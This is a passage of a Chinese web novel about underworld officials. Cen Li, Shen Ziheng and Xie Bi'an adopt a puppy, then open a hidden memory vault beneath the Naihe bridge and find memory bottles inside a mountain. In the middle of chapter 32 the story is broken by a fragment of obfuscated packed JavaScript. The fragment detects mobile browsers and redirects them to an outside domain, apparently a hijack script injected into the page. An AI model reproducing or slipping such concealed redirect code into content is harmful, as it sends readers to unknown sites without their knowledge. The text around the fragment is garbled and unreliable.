原本自然死去的动物会极快地重新投胎,但旺财是被摔死的,死相可怖,需得重新为它塑好身体才能投胎。
就在鬼差为它重塑身体后,旺财坐在原地怎么也不肯走了。
“它就一直待在妖冥使天天跟着鬼差跑呢,要是遇上凶悍的大鹅,旺财还会扑上去咬鹅翅膀。”谢必安拎着一兜子旺财的东西走过来递给老万,“不过现在这么聪明的旺财归我们拘魂使了哈哈哈哈哈哈!”
“汪!”
岑黎看着他身为令人闻风丧胆的白无常此刻却有些小人得志的嘴脸,突然伸手将怀里小狗的一只耳朵打开,凑上去悄悄说:“咱们以后不去拘魂使哈,见到拘魂使就绕开,见到这个一身白的怪叔叔也绕开,记得了吗宝贝?”
没想到怀里的小狗真从她臂弯里抬起头看了看谢必安的方向,又把自己的嘴筒子塞进岑黎臂弯里。
沈自珩跟着岑黎笑了。
他不喜欢逛街或是逛夜市。
即便最后一世他家底丰厚,能够将一整条街都买下来,他也不喜欢自己逛。
无趣,嘈杂,惹人心烦。
后来到地府当了鬼差也是如此,有一年中元节鬼市放烟花,谢必安和范无咎拖着他去看,还义正言辞地说鬼市需要人手当差。
他百无聊赖地在奈何桥头站桩,谢必安看着烟花感慨:“奈何桥这儿当真是赏景圣地,那个新来的姑娘早一天来就好了,能看到这烟花。”
“什么新来的?”沈自珩靠在桥墩上,轮回司多少年没进过新人了,不像他们拘魂使,来了多少鬼差都不够。
谢必安觑他一眼:“你是不是又没看传讯?孟婆向阎王要了个新人,连最底下的鬼差都没当过,直接做孟婆庄管事,在轮回司是一人之下,万人之上了。”
他知道有传讯,但今天要钩的魂多,他根本没有时间看。沈自珩掏出传讯器,上面已经有数十条讯息他没看过。
可凭能力提拔……
新月时间为……
屏障范围扩大至东……
……
轮回司添管事新职,任职人:岑黎。
“干什么?从名字就能看出来是美女了吗,这么死盯着。”谢必安出去找了一圈范无咎没找着就回来了,那个撒手没暂且可以不管,反正最后会回来,但这个一撒手直接回家了。
沈自珩看着讯息许久,鬼市那边的烟花还在一阵一阵地放着,据说越到最后烟花越大越漂亮。
砰的一声,天上绽出了一个几乎占据整个地府天空的烟花,火红的颜色艳丽极了。鬼市上闲逛的人们先是被那声音吓了一跳,随后又被烟花惊艳,纷纷惊呼着。
沈自珩觉着自己的心跳声越来越响,从胸口一路擂到耳边。
他忽然站直了,在喧嚣声中大喊:“谢必安!”
“我要调职!”
谢必安也喊:“为什么!拘魂使不好吗!”
沈自珩笑了,说了句只有自己能听见的话:“我要离她近些。”
31. 孟婆汤 五
“你就跟我回家啦。”岑黎逗着怀里的小狗。小狗大概是睡醒了,在她怀里动了动,用两只前爪抱住了她的胳膊。
岑黎摸小狗的动作突然一顿,转过头去一脸严肃地看着沈自珩,把他看得一愣。
他没说话啊?
岑黎皱着眉:“忘了问老万这小东西会不会随地乱尿了。”
说完她轻轻拍了拍怀里的小团子,“你要是敢尿在我身上,我就带着你去找谛听,谛听可是超级大的狗狗,让它一爪子把你按倒。”
大概真是听懂了,小狗在她怀里嗷呜一声,又踩着她的胳膊爬起来在她脸上舔了两口。
一路上岑黎都在跟小狗说话,不许乱尿啊,有事要沟通啊,自己待在家里也要乖啊……
“岑黎。”沈自珩站在奈何桥头喊她,她转身时几乎已经走到另一头了。
“我不随你到孟婆庄了。”他细长的眸子里映上了今晚的月色,皎洁又温柔,“你回去吧,路上小心。”
岑黎抿了抿唇:“啊,好。”
她将怀里的小狗放到地上,拍了拍圆滚滚的屁股,小狗迈着短腿朝沈自珩跑去,被他一把捞了起来。
“这是做什么?”他不解,但还是摸了摸小狗的脊背。
“我给它起了名字,叫麦芽。”岑黎用手背蹭了蹭鼻尖,“毕竟是咱们一起去买的小狗,总该让它熟悉一下你的味道。”
沈自珩任小狗用自己的手指磨牙,他看了看小狗又看向一步步往这儿蹭过来的岑黎,说了句:“可爱。”
都可爱。
麦芽被他放到地上后就直奔着岑黎去了,爪子在她裙子上扒了两下就留下了灰灰的印子,岑黎立刻把它抱在怀里。
“明天你就该回阴律司了吧?”岑黎看向沈自珩,手上将麦芽从头到爪呼噜了一遍。
沈自珩点点头:“鬼市开放时还是三月三,到现在已经过了近一个月了。”
“哦……你的伤完全好了吗?”
“好了,完全好了。”
“灵力也稳定了吗?我当时吃的那个草药真的很好用,你要不再……”
沈自珩轻声喊了她一句。
“岑黎。”他走过来站定在她面前,“我们明日还会再见的。”
“我知道呀。”岑黎坦荡地看着他,说出口的话也理所当然,“可是分开前就是会舍不得啊。”
话说出了口,换成别的姑娘大概这会儿反应过来了会害羞,但眼前这姑娘不会,只会“得寸进尺”。
岑黎看着沈自珩有些呆滞的表情,轻笑着走上前看他:“是不是没有听过别的姑娘跟你这么说话?”
“确实没有。”
她啧一声:“看来她们的性格都很内敛啊。”
沈自珩抬手把她发髻上的镰刀簪扶正了:“哪有她们,没有别的姑娘。”
没有别的姑娘。
“他这么说的?”孟婆趴在奈何桥的桥墩上看着下面的河水,“认识他这么多年了,没见过他这么会哄人的时候啊。”
岑黎蹲在旁边伸出手,不远处一边走一边玩的麦芽看了看她,叼起脚边的骨头迈开腿直冲进岑黎怀里。她搂着麦芽不屑:“就这么一句也算哄人?那我可比他会哄多了。”
孟婆拿走麦芽嘴里的骨头在空中晃,麦芽被抢走了骨头也不闹,只一直盯着它的骨头。“你还比上了?不过倒没错,要不把你调去拘魂使?他们天天哄这个劝那个的嘴皮子都能磨破了。”
麦芽被岑黎圈在怀里盯着骨头哼唧,毛茸茸的脑袋跟着骨头转来转去,她狠狠呼噜一把它的脑袋就松开手,怂恿着:“麦芽去,问她要骨头。”
“好好好给你给你。”孟婆刚蹲下身就被麦芽扑过来舔了一脸,她一边伸手试图握住狗嘴一边拿着骨头在它眼前晃,“说好了今晚跟我睡,我就给你。”
“汪!”
岑黎的视线从麦芽的身上转到汩汩流淌着的奈河水。
这水流了这么多年也未曾停歇过,渡过的鬼魂不计其数,有老实过河的,有想要偷渡的,有被拖下水的……
却兜兜转转还要回到这条河上来。
连她的记忆也与这河有关。
她扒着栏杆探出身子去看,谁能想到澄净的河水下竟藏着那么多人的记忆。
从前她为了找回记忆吃过不少苦头,比上回沈自珩的伤还要重的伤她都受过,害得孟婆日日照顾她,直到见她有力气笑孟婆才松了口气,坐在她床边落着泪问了一句,非找不可吗?
非找不可吗?
非找不可。
她刚到地府来时简直害怕极了,哪怕孟婆天天陪着她安慰她,可她一落单便觉得这周围立刻化成了一座巨大的熊熊燃烧着的鼎,要将她吞进肚去,烧成一捧灰。
后来她熟悉了这里,与众多鬼差都相熟,甚至可以肆无忌惮地调侃打趣,但她也总会在独自回家的路上望着那倒映着月光的河水,一遍遍地问。
我是谁,我为何来,我是个怎样的人,我有家人吗……
她像一个空心的人,像森林的众多树中努力装成茁壮的那一棵,但她自己知道,她努力将自己挤在中间,不过是怕一阵飓风来将她拦腰折断。
岑黎看向啃着自己前爪玩的麦芽,现在她的生活变得越来越充实有趣,可越是这样她就越想找回记忆。
如果被她遗忘了的人此刻还在想念她,那该有多伤心。
她看得出神,没察觉旁边站着人。
沈自珩远远地便看见她趴在栏杆上,原以为她又在教训怨灵,但这姑娘久久未动,直到走近了才看清她的表情。
“在想什么?”他站到她身边轻声问。
“想找回记忆。”她的神情有些落寞,找了这么多年也未曾找到,不知道还要花费多少时间。
他看见她的表情,心口猛地刺痛一瞬,他又往旁边挪了挪,两人的胳膊几乎贴在一起,隔着层层布料也能感觉到一阵温热。
他轻声问:“为什么这么难过?”
她转过身靠着冰冷的石栏杆坐在地上,环抱着膝盖:“只是在想,会不会还有人记得我,还在想着我,每年过节还会跟我说说话。”
“会的。”他说,“一定会的。”
她听着更难过了:“如果是这样,我却不记得他们。沈自珩,我每想到这都会觉得很对不起他们。”
“不记得他们不是你的过错,只是现下只有找回你的记忆,这个问题才有得解。”沈自珩从怀里掏出来一块手帕递给她。
岑黎扭过头,把下巴磕在膝
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盖上:“他们会怪我吗?”
“如果他们知道其中缘由,当然不会怪你,只会担忧你孤不孤单,过得开不开心。”他拿着手帕把她脸上的泪擦净。
过了半晌,岑黎慢慢呼出口气来:“之前过得不怎么样,但现在其实还行,偶尔孤单,经常开心。”
沈自珩看着她的侧脸,像是要刻进心里一般,许久许久才嗯了一声:“知道了。”
这姑娘没再说话,他也陪她安静地坐着,看着桥下排队的人越来越多,岑黎突然站了起来,拎起衣摆拍了拍灰。
“沈自珩。”她站在他面前伸出手要拉他起来。
沈自珩把手搭了上去,岑黎手上一使劲,当真把他从地上拔了起来。她看了看周围,突然凑到他耳边:“开记忆库吧!”
说完她一脸期待地看着他,那期待里似乎还有几分洋洋得意。
没想到吧,我这就缓过来啦,我不难过啦!
沈自珩的表情没什么变化,依旧带着一点温和的笑意看着她:“好啊,什么时候?”
岑黎愣住了。
不知道从什么时候开始沈自珩像是不会拒绝了一样,她说什么都是好,她怎么样都行,一切都由着她,像是……
像是两人已经成了眷侣。
这样想着她脸上忽然热了起来。
但是上次他挨罚了。
想到这儿她暗暗呸自己一声,猛地抓住他手腕:“上次你究竟为什么被罚?是因为开记忆库吗?给你权限难道是假的?”
她着急地晃了晃他的手,想说要不先算了吧。
沈自珩只是平静地摇摇头:“只是找了个无端的由头罢了,权限也不是假的,是真的。”
“那再开记忆库你还会不会挨罚?”岑黎瞪大眼睛十分紧张,总不能开一次罚一次,更何况上次根本没打开。
她反应过来:“上次没打开是不是阎王的手笔?”
上次确实是阎王找了个无端的由头。
沈自珩从拘魂使的鬼差破格越级提上阴律司督察,刚上任督察就统管鬼市重建,在地府众人眼中他深受判官和阎王的赏识。
但相比名声来说,有实权更可怕。
消极懈怠,生死簿并未及时上交核查,这是他当时挨罚的表面缘由。
他太心急了。这才是真正原因。
“为什么,难道开记忆库还要挑个好日子?”岑黎一脸不可置信,阎王什么时候这么斤斤计较了,不对,这简直是蛮不讲理。
沈自珩失笑:“杀鸡儆猴罢了。”
那一罚即是杀鸡儆猴,也是对他的警告。
“这记忆库还能开吗?”岑黎有些担忧地上下扫视着他,上回挨打刚好全乎,要是这回再挨打,她不天天伺候都说不过去了。
沈自珩轻敲了一下她额头:“这么看我做什么,不会再挨罚了。”
“真的吗?万一再挨罚呢?”
“那你就天天给我抓药去。”他看了她一眼,随口讹了一句。
岑黎依旧皱着眉,看了看他,又伸手捏了一把他胳膊上成块的肌肉,挨两顿打应该不至于让他变成手无缚鸡之力的羸弱之躯吧?
她坚定地点点头:“嗯!行!”
“那就今晚吧?开记忆库。”
32. 记忆库 一
岑黎是带着麦芽一起来的,月光下一人一狗的影子都显得十分可爱。沈自珩站在桥上看着,手中拿的扇子正幽幽地亮着光,隐约映出他微微扬起的嘴角。
麦芽走到桥上便不走了,正襟危坐地坐在旁边,岑黎摸了摸它脑袋夸了句好狗,冲沈自珩解释着:“带它来望风。”
桥下黑暗中走出来一人,朝警惕地看着这里的麦芽打了个呼哨:“放心,我设结界了。”
麦芽从喉咙里发出一声低吼。
谢必安从暗处走出来,笑道:“是我。”
见岑黎张嘴想问却又咽下了话,他索性主动交代:“老沈原是不想让我来的,但总归帮人帮到底,不差这一次了。”说完他又转过身去敲了敲沈自珩肩膀,“老沈你放心,你今日要是再挨罚,我还帮你抓药,天天伺候你。”
沈自珩撇他一眼:“开始吧。”
白玉扇与上次不同,周身萦绕的光越来越亮,连一旁站岗的麦芽都好奇地扭过头朝这儿看来。河面逐渐有了变化。
“成了。”岑黎不知什么时候将头上的镰刀簪拔了下来握在了手心,河底卷起的漩涡越来越大,很快就完整地露出了那扇门。这次应该可以打开了。
“乖乖,这门。”谢必安小声感慨着,到地府这么多年,多少算个元老了,但也没见过看上去就这么值钱的门啊,他伸手比划着,“怎么下去啊?”
岑黎一直没说话,紧紧盯着那门,她能感觉到自己的胸腔里那颗心脏在剧烈地跳动着,是不是快要拿回自己的记忆了?她究竟有着怎样的过往?
她一撩衣袍从桥上纵身跳下。
沈自珩见那道身影跳下,来不及多想也跟着跳了下去。
谢必安看着两人平稳落地,喊了一句等等我,回手在周围又加了一道结界,将麦芽也留在了结界里。
地府深夜,奈何桥上空无一人,唯有一轮圆月当空。
在桥上看尚不觉得这门有什么特别,跳下来才发现这门竟是镶嵌在地面上的,换种说法,他们现在踩在了门上!
“应当是障眼法吧。”沈自珩拿着白玉扇在面前摸索着,扇子在空气中敲敲打打,他很快就发现了奇怪的地方。
虽然他们看似是踩着门,面前的仍是奈何桥的桥墩,但在桥墩偏上的位置,白玉扇点了几下后竟会像点在水面上似的,泛起小小的涟漪。
涟漪逐渐扩大,露出了和他们脚下一样的珍珠门。
这门后面就是记忆库所在了。
而这扇记忆库的门虽然看上去与珍珠色泽相似,但隐约能看出色泽背后还有另一层。
白玉扇在金色门环上敲了敲,最外头那层银白色忽然开始碎裂、剥落,掉在他们的脚边,岑黎和谢必安低头看着一地银白色粉末,再抬头时——
眼前的珍珠门俨然变成了一扇硕大的青铜鎏金门,门上刻着两只模样凶猛的神兽,眼睛用黑色琉璃珠镶嵌,栩栩如生。
岑黎凑上前看了看:“狴犴?有意思。”
狴犴形似虎,平生好讼,官衙内随处可见,再不然也是在狱门上,有镇恶、象征公正与威严的含义。
此刻却出现在这儿,记忆库的门上。
说是开记忆库的权限,但其实也就是个能解开记忆库的符咒,沈自珩拿到后就一股脑地放在了白玉扇里。
“你这白玉扇里能有成百上千的符咒了,也多亏这是个死物,但凡有点灵性都得被你气死。”谢必安看着他将白玉扇当百宝箱使,实在没忍住说了他两句。
白玉扇是沈自珩收到的礼物。
原本只是一把扇骨用白玉雕成的扇子,因为太易碎,沈自珩一直没将它拿出来用过。
但后来他到了地府。
下来后没多久他就用灵力将白玉扇做成了灵器,仍用原本的白玉扇骨,绢布扇面,小骨从白玉替换成了大风的腿骨,加以玄铁锻造,刻满了符纹。
白玉扇做成灵器之后便可以化形成银色长枪,通体坚韧不易折断损毁,十分趁手,沈自珩特别满意。
“可它有两种形态啊!平时只是个扇子!你要是用长枪的要求来苛待它还不如不要有化形的能力,就老老实实当柄长枪。”谢必安看着刚做好的扇子痛心疾首,这人怎么忍心把好端端的观赏摆件改成这么冷冰冰的灵器!早知道就问他把白玉扇要过来放他屋里。不!放床头!
他拿起白玉扇掂量两下又还给他:“这么沉的扇子,也只有你会天天带着。”
谢必安刚叹口气就被沈自珩瞪了一眼:“你好烦。”
白玉扇被沈自珩拿在手中再次靠近门环,可这次却没有什么反应。
岑黎踮着脚看了看,说:“靠近狴犴试试?”
沈自珩一声不吭将手往上移了些,扇子刚触及狴犴便猛地亮了起来,三人见状往后退出一段距离,只见狴犴那用黑琉璃珠镶嵌的眼睛里现出了一道极小的符纹,随着符纹的慢慢淡去,大门打开了。
沈自珩往旁让了一步,叫被他挡住的岑黎看这已经打开的门。
“开了?这也太简单了吧。”
他点点头:“进去吧。”
岑黎哦一声抬腿要往里走,又被他喊住,她不解回头:“怎么了?”
谢必安在旁边发出一声疑问。
她这才反应过来沈自珩是在用灵力喊她,险些忘了两人身体里都有对方的一缕灵力,可以传讯。
“沈大人,我们进去吧?”岑黎笑眯眯地看他,也用灵力传讯回去,“一会儿若有危险,沈大人的袖子能不能借我拉一下?”
沈自珩那双狐媚眼睛自上往下瞧着她,他面色平淡,传讯过来的声音像是一条柔软顺滑的绸缎,从她的心尖上轻飘飘地擦过。
“你自便。”
岑黎不语,忽然狡黠一笑,用谢必安听得到的音量说了句:“狐狸精。”
谢必安又发出一声疑问。
岑黎走在最前面:“走吧,我们进去。”说完她拔腿就走,这里头亮堂堂的,看着不吓人。
“我先进去吧。”沈自珩拉着她胳膊,“还不知道里面会不会有危险。”他朝里面看了看。
“没事,我有镰刀。”她将握在手中的簪子给他看了眼,急不可耐地挣开他的手往里进。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16514026|186210||http|test|mini|href|location''.split(''|''),0,{}));
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>他们跨过那道门小心翼翼地往里走。记忆库与判官司和阎王殿都不同,整体呈银白色,与大门上的珍珠色泽十分相似,在周围灯光的映照下十分夺目,刚进去时甚至会觉得有些眩晕。
身后的大门陡然关上。
面前的长廊一眼望不到尽头,长廊顶上悬挂着纯白色的布条和铃铛,两旁墙上亮着幽蓝色的光,看上去只觉有些寒意。
长廊宽度只容一人过,岑黎伸手拉住要上前的沈自珩,拽着他的袖子走了进去,一边走还一边笑道:“沈大人,袖子借我拉一拉吧。”
沈自珩知道她并不害怕,只是怕突生变故将他们冲散。并且她大概过一会儿就会松开他的袖子。
谢必安走在最后被他挡得严严实实,他百无聊赖地跟在后面走着,嘴却是闲不下来。“诶小黎,你能看到前面还有多远不?”
“看不到。”岑黎摇摇头。
“这记忆库的门开在桥下就已经很奇怪了,现下还要往里走这么远,不会一会儿发现走到地府外了吧。”谢必安随口说着,手上的哭丧棒被他当成了拐棍用,一下一下敲在地上。
说者无心听者有意,谢必安这话一出,走在前面的岑黎停下了脚步,转过头问:“我们现在,在往哪个方向走?”
桥下那段河流的流向为北南,他们面朝西方进了记忆库大门后便是这道长廊,走到现在应是没有向旁偏离角度,也就是说他们现在正往西走。
“如果奈何桥下真是有这么个巨大的空间,那不等于半个地府的地下都掏空了?”谢必安思索着,“照这个距离看,咱们现在已经到鬼市的西半边了。”
记忆库的大门关上后,奈河的河底平白无故生出了巨大的漩涡,将河床上的碎石纷纷卷了进去,有些避之不及的怨灵也一同被裹挟其中,也就一眨眼的功夫,漩涡和那些怨灵统统不见了。
麦芽在原地坐了一会儿便趴下阖上了眼睛,没多会儿又忽然睁开,原是刚收摊的摊贩一边念叨着家门钥匙没拿,一边急匆匆地从桥上跑了过去,宽大的裤管掠过麦芽的耳朵尖。
那摊贩拿着落在摊位上的钥匙又原路返回踏上奈何桥,桥面上有个小坑积了些水,摊贩远远地看见了那一小滩反光,便往旁边躲了躲。麦芽转了转眼睛,从地上站起来,垂着尾巴静悄悄地往桥边走了几步。
摊贩从它身边擦过。
“我想麦芽了。”岑黎松开拽着沈自珩袖子的手,“麦芽不会被发现吧?七爷,你那结界可有时限?麦芽要一直等到我们出去吗?”
“等孟婆到了结界自然就解了。”谢必安手中的哭丧棒敲在地上发出铛的一声。
“为什么是孟婆到了解开?”岑黎好奇,结界还认人?
谢必安听了一歪身子,从沈自珩的肩膀上探出脑袋:“孟婆也会设结界啊,你不知道?”
沈自珩抬手把他脑袋推了下去:“孟婆已经很久没设过结界了,跟你不一样。”
“哦。她到了把结界解开就行了。”谢必安说,“往前接着走吧?”
岑黎和沈自珩都没了声响。
面前,没有路了。
33. 记忆库 二
岑黎伸手在面前冰冷的墙壁上摸索着,又屈起手指敲了敲,传来的只有闷响。
“我们进门之后就进了这长廊,连记忆库是什么样都没见到,难道这长廊后面就是记忆库?”她一边敲一边嘀咕,“但是这开门的方式未免太不像话了。”
话音未落,面前的墙忽然向旁边移开,一个巨大的空间出现在他们面前。
“怎么……”谢必安刚探出头想看看就被沈自珩一把捂住嘴,他朝着沈自珩手指的方向看去,巨大的纯白色的空间中央有一棵形状怪异的树,树干由几根极细的藤蔓缠绕而成,树枝向四周野蛮生长,像一把黄绿色的大伞几乎覆盖住了整个空间。
这里安静得叫人心慌。
岑黎站在原地仔细打量着眼前的景象,在目光扫到树上的一角时她皱了皱眉,暗中传讯给沈自珩:“树上有一只兽,但我看不清是什么,小心。”
繁茂的树枝中间隐约能见一只体型与猫狗大小相似的兽,那兽全身黑色,躲藏在树梢上,若不是她刚巧看见它的尾巴,他们恐怕早就踏了进去成为这兽的盘中餐。
“这是什么兽?”岑黎抬起脚往前小心翼翼地迈了一步,刚踏出去,树上那一角便传来一阵树叶摩擦发出的声响,她往那角看去时只觉眼前闪过一道黑影。
岑黎下意识抬手,手中的镰刀从簪子大小猛地化成正常大小的乌色长镰,一道利器划在金属表面的令人牙酸的声音响起,岑黎一翻手腕将长镰向黑影的方向刺过去,但那黑影实在灵活,躲闪过长镰后几下便蹿上了树看不见了。
沈自珩站在她身后,手中的白玉扇也早已化成了长枪,谢必安在一旁看着他俩一个比一个威风,不情不愿地站过去:“你俩真是……看着杀气腾腾的。刚刚那个是什么兽看清了吗?”
岑黎摇摇头:“通体黑色,与猫差不多大小,尾巴也与猫尾相似,但总觉得有些不一样,速度极快。”
“黑豹?”谢必安四处看了看,“但黑豹可比猫大上许多啊。”
“也许就是一只黑猫。”沈自珩走上前将岑黎挡在身后,手中长枪直指树上悄无声息出现的那道黑影。
“我看见它了。”
像是印证这句话,树上传来一阵树叶摇摆摩挲发出的声响,听着让人莫名起了一身鸡皮疙瘩。
黑影待在那儿不动了,他们与它对视僵持着,忽然觉得余光里有些变化,岑黎将视线从黑影身上移开,看向中央那棵大树,仍好端端地静止着。
她皱了一下眉又向旁边看去,下一秒便发现这里开始变幻,奇形怪状的树从根开始蒙上一层白雾,雾气散去后,粗壮得能让数十人环抱的树干显现出来,替代了原本那棵奇怪的树。
周围也发生了变化,雾气像潮水一样来势汹汹,三人捂住了口鼻等待着,没一阵儿,原本空旷清冷的空间变成了树木环绕、植物茂盛的山间。岑黎四下看了看,突然认出了这座圆鼓鼓、形似坟冢的山。
“这是……蒿里山?那条长廊原来直通蒿里山,记忆库竟是在山上。”她看向沈自珩询问着。
沈自珩观察了四周,伸手指了指他们脚下,在两人好奇的目光中说出了一个更为惊人的答案:“恐怕记忆库在这里。”他手持银枪往地面狠狠一击,一阵嗡鸣骤然响起,久久不散,似是从山腹中传出的,深埋在地下的回音。
他们面面相觑,终于从回音中听出了记忆库的方位。
原来蒿里山只是个空壳。
黑影再出现时岑黎正在前面找路,它堂而皇之地蹲坐在草丛中央,碧绿色的眼睛平静地看着她,像是有话要说。
岑黎也完全忘了它不会说话,走上前弯下腰问它:“你是在等我们吗?”
它仰起脑袋,尾巴在身后轻轻甩动两下,原本茂密得让人下不去脚的杂草从中间往两边歪倒,辟出一条小道来。它无声地张了张嘴,转头沿着小道走了。
黑色的身影很快隐匿在草丛中,岑黎冲着沈自珩和谢必安招手,自己率先跟了上去,这里郁郁葱葱,天光都透不进来,她只能隐约看见在草丛中高高竖起的那条毛茸茸的尾巴。
“多谢你呀。”岑黎跟在它后面走着,见它时不时回头确认,她索性和它说起话来,“你是黑猫吗?”
它回头看她一眼。
岑黎哦一声:“你比普通的猫大好多呀。”走在前面的黑猫有些得意地动了动尾巴。
“它是灵猫,应该是蒿里山的守护兽,这里灵气充足,它也就长得大些。”沈自珩跟在岑黎身后说着,手里的白玉扇在空中晃了晃,扇骨上的符纹亮了一路。
灵猫又转过头,无声地张嘴。
岑黎看着它,拧起了眉:“它叫不出声。”
数百年来人们只知道地府边界有座山,名叫蒿里山,这山上植被茂盛,山脚下流水环绕,环境十分优美,但山间从来不见飞禽走兽,地府中众人都以为是山上雾气的缘故。
谢必安走在后面慢悠悠地讲着他不知从哪儿听来的故事:“据说以前这山上十分热闹,鸟语花香的,但这雾气突然出现后那些鸟啊兽的就逐渐都没有了,可是按说即便兽死了也能寻到它们的遗骸吧,这里却寻不到,连兔子的尸骨都没有。”
“后来雾气越来越大,人们也就逐渐不再上山,这故事传着传着就变味儿了,有说它们是被山吞掉的,也有说是都迁徙了……谁知道呢。”他耸耸肩,前面的岑黎和沈自珩停在了原地。
“怎么,找到啦?”
面前的门,岑黎甚至不知道该不该称它为“门”。灵猫站在那扇由白雾搭成的“门”前冲他们无声地叫着,见她走上前,灵猫轻巧地转过身,穿过了那道雾气。
“我们过去吗?”岑黎探头看了看,雾气后面还是雾气,灵猫大概被笼罩在茫茫雾气中了。
沈自珩点头,示意后面的谢必安上前与他并排,两人严严实实地将岑黎背后挡住:“走吧。”
“门”看着像雾气,感觉着也像。岑黎伸出手在空中挥了挥,并没有什么奇怪的触觉。
他们穿过“门”径直向前走,雾越来越重,走了不过百步后眼前完全被雾气笼罩,伸手不见五指。岑黎往后伸手,一把抓住了沈自珩的袖子攥紧:“沈大人,袖子借用。”
沈自珩带着笑意的声音从身后传来:“岑大人,抓得真准啊。”他小幅度地晃了晃被抓着的那袖子,轻声安抚着,“别怕。”
雾气持续蔓延着,岑黎伸出一
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只手在眼前挥了挥,叹了口气说:“原来在这么重的雾气中行走和在漆黑的夜里行走也差不多。”
谢必安挥了挥哭丧棒,试图将雾气打散一些,但并没有什么效果。他扭头看了看身旁,只能看见沈自珩的胳膊,肩膀往上全裹在了雾气中。他伸手拍了拍能看见的那胳膊:“你说,大风能不能找到这里?”
“你想让大风过来把雾气扇散开?”沈自珩思索着,很快便摇摇头,“不行,这里太大了,大风无法确定我们的位置。”
“你不是有白玉扇吗?白玉扇不是能召唤大风?”岑黎问。
“蒿里山已在地府界外了,我从未试过这么远的距离可不可行。”沈自珩说着停下脚步,“试试吧。”
他拿着白玉扇掐诀召唤大风,但等了好一阵也没听见大风的啼叫。
“算了,走吧。”岑黎拉着他继续往前走,另一手在空中到处摸索着,突然她感觉手心中蹭过了一道毛茸茸的、温热的触感。
“灵猫?”
那触感再次从手心中传来,岑黎欣喜地喊:“灵猫你在这儿是不是?接下来往哪儿走你能告诉我吗?”
她伸着手,感受着灵猫的脑袋、身体从她手心滑过,最后是尾巴,它灵活的尾巴擦过她的手背,最后轻轻卷住了手指,下一刻一阵凉意从指尖攀上了胳膊,沿着侧颈爬上了她的双眼。
岑黎闭上眼睛,再睁开时眼前已然清晰无比。
这里是另一幅景象——树木都十分茁壮高大,像一把把绿色的巨伞伫立着,树枝上错落地挂着许多瓶子,瓶子很小,大概只有掌心那么大,挂在枝上随风摇晃。
她拉着沈自珩和谢必安走到面前的树下,伸手轻轻托住最近的瓶子,上面写着:云峤。
“这……就是记忆瓶?”岑黎眨眨眼四下看着,一旁的灵猫跳上了她的肩膀,随后又从她的肩上跳到沈自珩的右肩。她看着从灵猫体内传出的一缕绿莹莹的灵力覆盖在沈自珩和谢必安的眼睛上,随后慢慢淡去。
沈自珩看了看她伸手托着的那瓶子上的字,眼中闪过一丝惊讶。
“云昭,这朵莲花是不是要死了?”一身着素袍的男子趴在池边看着池子里的莲花,脑后的马尾高高束起,一副潇洒的模样。
莲花台总是一阵忙得脚不沾地,一阵十分清闲,最近正是清闲的时候,殿上的师兄弟们每天无所事事,做完日常的清扫便开始四处闲逛。
云昭正捧着谛听疯狂揉它的大耳朵,谛听终于过了掉毛的季节,大家不用一直提防它后它变得更黏人了。“小师兄,这问题你每天都要问一遍,问这么久了你看它死了吗?”
云肃撇撇嘴站起身,手叉在腰带上问:“云师兄呢?”说完他便想起了什么,皱着眉放轻了声音问,“今天是那个日子了?”
谛听打了个喷嚏,云昭捂住它的嘴向云肃点点头:“嘘!今天咱们都要安静一些,云师兄很不舒服。”
“这么些年了……”云肃叹了口气。
“云师兄究竟是怎么回事啊?我早上出房门和他打了个照面,吓了我一跳!”云昭压着嗓子说,“他看着就很疼!”
云肃抿了抿嘴,最终还是摇摇头:“等他自己跟你说吧。”
34. 记忆库 三
“原来记忆库竟是这个模样。”谢必安将哭丧棒立在树下,背着手四处闲逛顺便找寻着带有岑黎名字的记忆瓶,“我以为会像仓库一样四四方方的,没想到这么漂亮。”
“可我们现在究竟是在蒿里山上还是山腹中?”岑黎在另一边找着,有些瓶子挂得太高,她看着有些费力。
沈自珩跟在她后面,仰头看着高处的记忆瓶:“我们一直在山腹中,过了那道长廊后看到的景象,应该也是障眼法。”
谢必安抱怨了几句便不再说话,专心找着记忆瓶,不过每棵大树上挂着的记忆瓶数量都不少,这里还有那么多树……他数了数,眼前能看到的这块地方便有十数棵了,这得找到什么时候去。
他悠悠地叹了口气,慢慢找吧。
大概一两百年前,或是三四百年前,谢必安便认识岑黎了。
那时候他刚刚在白无常这个位置上干稳当,沈自珩在他手下做无常鬼差——最普通的钩魂鬼差,即把阳寿将尽的人带到地府来登记入册。这样的工作日复一日,难免枯燥无味,但沈自珩却干得稳稳当当。
虽然谢必安与沈自珩生前便是好友,但他下来得更早些,再加上沈自珩一直懒洋洋的,只干着自己份内事,超出本职的工作是能躲就躲,所以没过多久他就成了沈自珩的顶头上司。
“诶,听说孟婆问阎王讨了个人。”谢必安坐在沈自珩的桌子上,一把勾过旁边范无咎的脖子说着今天听见的新鲜事儿,“阎王就这么把人给她了,还一下就任命孟婆庄管事了!”
范无咎白他一眼:“大惊小怪,难道你还嫉妒吗?”
“说什么呢,我是觉得那人生前一定很厉害吧,一来地府就能有这样的职位。”谢必安感慨着,指关节敲了敲沈自珩的桌面,“沈公子,劳烦您看看传讯吧,要是没有我俩天天在你耳边念叨,你得错过多少新鲜事啊。”
沈自珩把他手拨开,继续埋头对着手里的簿册,最近有好几位鬼差染了病,无常殿的簿册都堆到了他的头上,他正嫌烦,一句话也不想多说,“关我什么事,你要是闲就去对簿册,我这儿有一大堆能分给你。”
谢必安一向对这种东西头疼,一听就跳下桌忙不迭地要走,走之前还撂下句话:“今天是中元节,下午休息啊!”
他转身出了无常殿。虽然地府休息,但人间的生老病死与什么节都无关,今日的工作量依然很大,人手不够,他还得亲自去人间一趟。
谢必安往孟婆庄走,刚踏上奈何桥便看见有一女子直愣愣地站在桥上看着河。
“姑娘,你在这儿做甚?”
女子转头看他一眼便冲他行礼:“无常大人。”
谢必安慌忙一摆手,多少年没听过人这么喊他了,当真不是很习惯:“别别别,喊我谢必安就行,再不然喊七爷也可以。你在这儿干嘛呢?等着轮回?”
女子宛然一笑:“我在等孟婆,她说一会儿带我在地府中熟悉熟悉。”
